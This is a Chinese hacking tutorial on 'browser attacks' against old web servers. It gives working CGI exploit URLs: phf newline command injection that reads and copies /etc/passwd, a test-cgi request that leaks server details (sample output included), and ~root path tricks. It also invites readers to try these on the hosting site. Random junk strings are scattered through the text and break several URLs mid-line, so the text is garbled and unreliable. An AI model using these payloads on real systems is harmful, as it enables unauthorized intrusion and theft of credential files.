浏览器攻击

在本章我将讲述一些利用浏览器来进行攻击的方法
1。大家都知道了phf攻击了，phf是cgi script,很多站点都有这个大漏洞啦，使用
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那个站点的passwd.但还有些更好的执行方法呦如：
http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna

& ]  O* _; h3 d3 G6 E2 lme=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
3 U0 d: }* r% z" p. X& bhaqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
' r) `4 P  ~+ f- V: R; w' m
=haqr&Qemail=&Qnickname=&Qoffice_phone=
& J% u4 B6 A2 f上面执行的命令是
id
5 r& k: Y. F; n1 y4 Y9 A( O" h4 Sls -la ~someuser
3 V2 {0 L* F' F$ Ycp /etc/passwd ~someuser/passwd
rm ~someuser/passwd

: k" \1 l% a5 z7 ?- h: o) Q2。有关test攻击
- n/ R6 U6 \+ f. V+ p9 ohttp://thegnome.com/cgi-bin/test-cgi?\whatever
服务器会应答，本服务器的一些情况如：
CGI/1.0 test script report:

% j) f* N7 R5 C# i0 y( ~argc is 0. argv is .

/ t9 a9 U1 h& G8 Y+ M' FSERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
" I/ G7 S5 n% v/ hGATEWAY_INTERFACE = CGI/1.1
4 a- {* w# \% c8 |3 I) VSERVER_PROTOCOL = HTTP/1.0
- _  x* u6 A3 xSERVER_PORT = 80
3 U, T: ~% G* z2 `+ ^( qREQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
5 i( L& O# r+ ], ztext/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
7 T) P7 d& L6 ?9 }: kSCRIPT_NAME = /cgi-bin/test-cgi
- l. d% ~$ [: P) S, JQUERY_STRING = whatever
" _# P. D8 J) u/ y% ?$ y  y$ |$ TREMOTE_HOST = fifth.column.gov
; n( F2 h3 G% T# IREMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
, S' F5 ]) T4 _, }& |/ b
好吧，让我们来点赶兴趣的
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

3。~的应用
~主要是用在很多的个人主页上的快捷目录的方法，如果我们使用这样的~
) ^" J* Y. j& }4 O  T4 ahttp://thegnome.com/~root
http://thegnome.com/~root/etc/passwd
不是在任何平台上都通过呦，在BSD Apache上曾经成功过,当然还可以试试~bin ,~etc,~uucp.....
看到这个站点了吗，本站所在的这个站点就是用这种形式的，如果我们打入 本站所在的web地址/~bin
- |; N! x  e8 e6 g1 k0 P& z出现了什么，你看到了吗？然后...............注意请不要破坏
7 R# V0 l( D: M$ k4 D" M
' q1 a7 A" `& g2 X4 F2 u( D